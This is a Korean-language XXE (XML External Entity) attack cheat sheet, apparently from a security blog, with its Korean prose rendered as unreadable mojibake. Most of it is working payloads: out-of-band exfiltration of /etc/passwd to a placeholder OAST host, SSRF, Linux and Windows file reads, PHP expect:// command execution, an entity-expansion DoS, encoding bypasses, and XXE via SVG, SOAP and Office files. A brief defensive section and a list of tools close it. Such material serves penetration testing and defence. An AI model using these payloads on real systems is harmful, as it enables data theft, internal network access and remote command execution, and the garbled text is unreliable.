π Introduction
XXE(XML External Entity)λ XMLμ Parsingνμ¬ μ¬μ©νλ μλΉμ€μ μ μμ μΈ XML ꡬ문μ Parsingνλλ‘ μ λνμ¬ κ³΅κ²©μκ° μλν λμμ μννλλ‘ νλ 곡격μ λλ€. κΈ°λ³Έμ μΌλ‘ XML Parserκ° μμΉν κ³³μμ λΆν° μν₯λ ₯μ΄ λ°μνκΈ° λλ¬Έμ κ°λ³κ²λ SSRF κ°μ΄ λ΄λΆλ§ μ κ·ΌλΆν°, RCEκΉμ§ ν° μν₯λ ₯μ κ°μ§ μ μμ΅λλ€.
π‘ Offensive techniques
Detect
μ¬ννκ² XML Parseκ° λμνλ ꡬκ°μ μ°ΎμμΌν©λλ€. μμ€μ½λλ₯Ό λ³Ό μ μλ μν©μ΄λΌλ©΄ μ½λμμ κ²μνλ κ²μ΄ κ°μ₯ λΉ λ₯΄κ³ ν¨μ¨μ μ΄λ©°, μμ€μ½λ μμ΄ μμνκ² λμλ§μΌλ‘λ§ λ΄μΌνλ€λ©΄ .xml νμΌμ μΈμκ°μΌλ‘ λ°κ±°λ, μλ¬μμ XML Parsing κ΄λ ¨ μλ¬λ₯Ό λ±λ ꡬκ°μ μμ£Όλ‘ μ κ²ν΄μΌν©λλ€.
μλμ κ°μ΄ λμ λκ² xml ννλ₯Ό μ²λ¦¬ν κ²μΌλ‘ 보μ΄λ ꡬκ°μ΄ XXEκ° μ‘΄μ¬ν κ°λ₯μ±μ΄ λμ λΆλΆμ λλ€.
GET /readRss?url=https://rss_service/feeds.xml
μ΄ λ μ°λ¦¬λ XXE κ΅¬λ¬Έμ΄ ν¬ν¨λ νμΌμ μλΉμ€μ XML Parserκ° μ½κ³ λΆμνλλ‘ νμ¬ XXEλ₯Ό μ λ ν μ μμ΅λλ€. λ§μ½ μ readRss λ νμ΄μ§κ° XMLμ μ½μ΄ μ¬μ©μμκ² λ³΄μ¬μ£Όλ κΈ°λ₯μ κ°μ‘λ€λ©΄, μλμ 곡격 ꡬ문μΌλ‘ XXE μ¬λΆλ₯Ό 체ν¬ν μ μμ΅λλ€.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "https://your_oast_domain" >]>
<foo>&xxe;</foo>
μ κ΅¬λ¬Έμ΄ Parsingλλ©΄ μλΉμ€λ XML ꡬ문μ λ°λΌμ μΉ μμ²μ λ°μμν€κΈ° μν΄ oast_domainμΌλ‘ μ κ·Όνκ² λ©λλ€. μ°λ¦¬λ μ΄λ λ°μνλ HTTP Requestμ DNS Qeuryλ₯Ό κ°μ§κ³ μλ³νλ©΄ λ©λλ€. μ΄λ κ² OAST, OOB κΈ°λ°μΌλ‘ μλ³νλ λ°©λ²μ΄ κ°μ₯ μ¬λ¬ μΌμ΄μ€μμ νμΈν μ μλ μ’μ λ°©λ²μ λλ€. (Blind XXEλ μΈ‘μ ν μ μμ£ )
λνμ μΈ OAST μλΉμ€ & λꡬλ μλμ κ°μ΅λλ€.
- Burpsuite: burpcollaborator.net
- ZAP: odiss.eu (OAST)
- Interactsh
λ€λ§ public oast μλΉμ€λ 2021λ log4j μ¬ν μ΄νλ‘ λ§μ μλΉμ€λ€μμ μ°¨λ¨μ νκ³ μμ΄μ μ§μ privateν oast μλΉμ€λ₯Ό ꡬμ±νμ¬ ν μ€νΈνμλ κ²μ μΆμ²ν©λλ€.
λ§μ½ XML Parsingμ κ²°κ³Όκ° λ¦¬ν΄λλ€λ©΄ λ¨μνκ² DTD μ¬μ©μ 체ν¬νλ κ²λ μ’μ΅λλ€.
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
Exploitation
Leak data with OOB
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "https://your_oast_service/?%xxe;">
]
>
<foo>&callhome;</foo>
SSRF
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]>
<foo>&xxe;</foo>
LFI
Linux
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
Windows
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>
RCE (PHP)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>`&xxe;`</user>
<pass>`mypass`</pass>
</creds>
DOS
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Bypass protection
Using Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
Using UTF-16
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
XXE in X
in Java
https://semgrep.dev/blog/2022/xml-security-in-java
in SVG
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls" width="200" height="200"></image>
</svg>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
xxe.svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
<text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
<rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
<flowRoot font-size="15">
<flowRegion>
<rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
</flowRegion>
<flowDiv>
<flowPara>&exfil;</flowPara>
</flowDiv>
</flowRoot>
</svg>
in SOAP
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
in OXML (Office)
/_rels/.rels
[Content_Types].xml
Default Main Document Part
/word/document.xml
/ppt/presentation.xml
/xl/workbook.xml
in XLSX
OXMLκ³Ό λμΌν©λλ€.
π‘ Defensive techniques
XML Parsing μ DTDλ₯Ό νμ©νμ§ μλλ‘ μ ννλ ννλ‘ λμν μ μμ΅λλ€. κ° μΈμ΄, Framework λ± DTDλ₯Ό μ ννλ λ°©λ²μ λ€λ₯΄λ μλ λ¬Έμλ₯Ό μ°Έκ³ ν΄μ£ΌμΈμ.
λν XML Parsing λ¨κ³κ° κ΅³μ΄ μΈλΆμ λ ΈμΆλ νμκ° μλ€λ©΄ μμ νκ² λ΄λΆμμλ§ μ²λ¦¬νλλ‘ λ³κ²½νλ κ²λ μ’μ λ°©λ² μ€ νλμ λλ€.
πΉ Tools
- https://github.com/enjoiz/XXEinjector
- https://github.com/lc/230-OOB
- https://github.com/staaldraad/xxeserv
- https://github.com/BuffaloWill/oxml_xxe
- https://github.com/whitel1st/docem
π Articles
- https://www.hahwul.com/2017/05/27/web-hacking-ooxml-xxe/
- https://www.hahwul.com/2019/09/28/oxml-xxe-payload-inject-tool-docem/
- https://www.hahwul.com/2018/08/18/edge-side-include-injection-web-attack/#xxe
- https://www.hahwul.com/2018/01/21/hacking-documentbuilderfactory-xxe-feat/
- https://www.hahwul.com/2017/12/06/hacking-documentbuilderfactory-xxe/
- https://www.hahwul.com/2018/07/13/Security-testing-SAML-SSO-vulnerability-and-pentest/
- https://www.hahwul.com/2017/11/06/exploit-java-se-web-start-jnlp-xxe-cve/